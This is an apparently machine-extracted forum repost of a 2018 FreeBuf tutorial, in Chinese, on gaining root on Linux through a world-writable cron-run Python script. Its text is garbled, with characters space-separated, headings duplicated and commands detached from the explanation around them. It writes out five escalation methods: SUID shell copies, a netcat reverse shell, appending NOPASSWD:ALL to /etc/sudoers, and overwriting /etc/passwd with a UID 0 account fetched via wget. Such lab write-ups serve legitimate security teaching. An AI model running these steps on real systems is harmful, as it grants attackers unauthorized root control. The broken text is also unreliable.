搜索

[12890] 2018-06-30_通过可写文件获取Root权限的多种方式

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2018-06-30_通过可写文件获取Root权限的多种方式 通 过 可 写 文 件 获 取 R o o t 权 限 的 多 种 方 式 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 6 - 3 0 写 在 前 面 的 话 写 在 前 面 的 话 在 在 L i n u x 系 统 中 ， 任 何 东 西 都 是 以 文 件 形 式 存 在 的 ， 包 括 目 录 和 设 备 在 内 ， 它 们 都 拥 有 读 取 、 写 入 和 执 行 权 限 系 统 中 ， 任 何 东 西 都 是 以 文 件 形 式 存 在 的 ， 包 括 目 录 和 设 备 在 内 ， 它 们 都 拥 有 读 取 、 写 入 和 执 行 权 限 （ 需 配 置 ） 。 当 管 理 员 在 设 置 文 件 权 限 时 ， 必 须 根 据 （ 需 配 置 ） 。 当 管 理 员 在 设 置 文 件 权 限 时 ， 必 须 根 据 L i n u x 用 户 的 具 体 情 况 来 进 行 设 置 。 用 户 的 具 体 情 况 来 进 行 设 置 。 在 这 篇 文 章 中 ， 我 们 将 跟 大 家 讨 论 如 何 通 过 可 写 文 件 / 脚 本 来 实 现 L i n u x 下 的 提 权 。 接 下 来 ， 我 们 直 奔 主 题 。 打 开 你 的 电 脑 ， 然 后 入 侵 目 标 系 统 ， 我 们 直 接 进 入 到 提 权 环 节 。 假 设 我 已 经 通 过 s s h 成 功 登 录 目 标 设 备 ， 然 后 访 问 了 非 r o o t 用 户 终 端 。 接 下 来 ， 使 用 下 列 命 令 枚 举 出 全 部 拥 有 可 写 权 限 的 文 件 ： 你 可 以 看 到 ， 结 果 中 有 一 个 存 储 在 / l i b / l o g 目 录 中 的 p y t h o n 文 件 ， 查 看 之 后 我 们 发 现 s a n i t i z e r . p y 的 权 限 为 7 7 7 ： 看 来 这 个 文 件 是 管 理 员 用 来 清 理 / t m p 目 录 垃 圾 的 ， 这 种 文 件 会 在 一 定 的 时 间 间 隔 后 自 动 执 行 。 如 果 攻 击 者 也 发 现 了 这 一 点 ， 那 么 他 们 就 能 够 通 过 接 下 来 所 介 绍 的 方 式 实 现 提 权 了 。 f i n d   /   - w r i t a b l e   - t y p e     f   2 > / d e v / n u l l   |   g r e p   - v   " / p r o c / "
第 一 种 方 法 第 一 种 方 法 把 / b i n / s h 拷 贝 到 / t m p 中 ， 启 用 / t m p / s h 的 S U I D 。 这 种 方 法 很 简 单 ， 首 先 使 用 编 辑 器 来 打 开 文 件 ， 例 如 “ n a n o s a n i t i z e r . p y ” ， 然 后 用 下 列 内 容 替 换 掉 “ r m   - r / t m p ” ： 接 下 来 ， 它 会 在 / t m p 目 录 中 创 建 一 个 拥 有 S U I D 权 限 的 s h 文 件 ， 你 运 行 该 文 件 之 后 你 就 能 拿 到 r o o t 权 限 了 。 第 二 种 方 法 第 二 种 方 法 跟 之 前 的 方 法 一 样 ， 你 可 以 用 下 列 代 码 替 换 掉 原 来 的 “ r m   - r   / t m p ” ： 一 段 时 间 之 后 ， 它 会 给 / b i n / d a s h 文 件 设 置 S U I D 权 限 ， 当 你 运 行 它 之 后 你 就 能 拿 到 r o o t 权 限 了 ： o s . s y s t e m ( ' c p / b i n / s h   / t m p / s h ' ) o s . s y s t e m ( ' c h m o d u + s   / t m p / s h ' ) c d   / t m p l s . / s h i d w h o a m i o s . s y s t e m ( ‘ c h m o d   u + s   / b i n / d a s h ) / b i n / d a s h i d w h o a m i
第 三 种 方 法 第 三 种 方 法 这 里 我 们 需 要 将 p y t h o n 反 向 s h e l l 连 接 代 码 复 制 到 “ r m   - r   / t m p / * ” 这 里 ， 然 后 在 新 的 终 端 里 开 启 n e t c a t 监 听 器 ： 一 段 时 间 之 后 你 就 会 通 过 n e t c a t 拿 到 反 向 s h e l l 连 接 ， 并 获 取 到 r o o t 权 限 了 ： 第 四 种 方 法 第 四 种 方 法 这 是 一 种 最 有 趣 的 方 法 ， 我 们 可 以 通 过 这 种 方 法 来 使 用 s u d o 权 限 去 登 录 目 标 设 备 。 大 家 可 以 看 到 ， w e r n e r b r a n d e s 现 在 还 无 法 运 行 s u d o 命 令 ： 将 下 列 代 码 替 换 掉 “ r m   - r   / t m p / * ” ： n c - l v p   1 2 3 4 i d w h o a m i o s . s y s t e m ( ' e c h o " w e r n e r b r a n d e s   A L L = ( A L L )   N O P A S S W D :   A L L "   >   / e t c / s u d o e r s ' )
一 定 时 间 之 后 ， 当 你 运 行 “ s u d o   - l ” 命 令 之 后 ， 你 就 会 发 现 这 个 账 号 变 成 了 s u d o 用 户 ， 然 后 你 就 可 以 拿 到 r o o t 权 限 了 ： 第 五 种 方 法 第 五 种 方 法 在 任 何 一 个 类 L i n u x 系 统 中 ， p a s s w d 文 件 的 重 要 性 不 言 而 喻 ， 如 果 攻 击 者 可 以 访 问 或 修 改 这 个 文 件 ， 那 么 该 文 件 就 变 成 了 一 种 提 权 方 式 。 在 可 写 脚 本 的 帮 助 下 ， 我 们 可 以 使 用 c a t 命 令 来 访 问 e t c / p a s s w d 文 件 。 大 家 可 以 从 下 图 中 看 到 高 亮 标 注 的 n e m o 用 户 信 息 ， 我 猜 测 U I D : 1 0 0 0   &   G I D : 1 0 0 0 表 示 该 用 户 很 可 能 在 管 理 员 组 里 面 。 我 们 需 要 修 改 n e m o 记 录 并 让 它 成 为 r o o t 组 成 员 。 首 先 ， 把 e t c / p a s s w d 文 件 的 内 容 拷 贝 到 一 个 空 白 的 t e x t 文 件 中 。 然 后 在 新 的 终 端 里 ， 生 成 s a l t 密 码 ： s u d o   - l s u d o   b a s h i d o p e n s s l   p a s s w d   - 1   - s a l t   a b c   1 2 3
把 s a l t 密 码 拷 贝 到 n e m o 用 户 记 录 条 目 的 “ X ” 位 置 ， 把 之 前 的 U I D & G I D 改 成 0 : 0 。 完 成 所 有 步 骤 之 后 ， 把 刚 才 新 建 的 t e x t 文 件 保 存 问 “ p a s s w d ” ， 然 后 把 这 个 文 件 拷 贝 到 目 标 主 机 中 覆 盖 掉 原 始 的 p a s s w d 文 件 。 利 用 可 写 脚 本 ， 用 下 列 命 令 替 换 掉 “ r m   - r   / t m p / * ” ： 过 一 段 时 间 之 后 它 将 会 开 启 / b i n / c p 的 S U I D 权 限 ， 然 后 完 成 文 件 拷 贝 。 将 修 改 后 的 p a s s w d 文 件 拷 贝 到 目 标 主 机 的 / t m p 目 录 中 ， 然 后 输 入 下 列 命 令 ： c d   D e s k t o p p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 o s . s y s t e m ( ‘ c h m o d   u + s   / b i n / c p ) c d   / t m p w g e t   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 3 / p a s s w d l s   - a l   / b i n / c p c p   p a s s w d   / e t c / p a s s w d
使 用 下 列 命 令 查 看 p a s s w d 文 件 是 否 替 换 成 功 ： 通 过 下 列 命 令 拿 到 r o o t 权 限 ： 总 结 总 结 在 这 篇 文 章 中 我 们 给 大 家 演 示 了 攻 击 者 如 何 利 用 可 写 文 件 实 现 提 权 ， 希 望 大 家 喜 欢 。 *   参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M t a i l   / e t c / p a s s w d s u   n e m o p a s s w o r d 1 2 3 w h o a m i
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理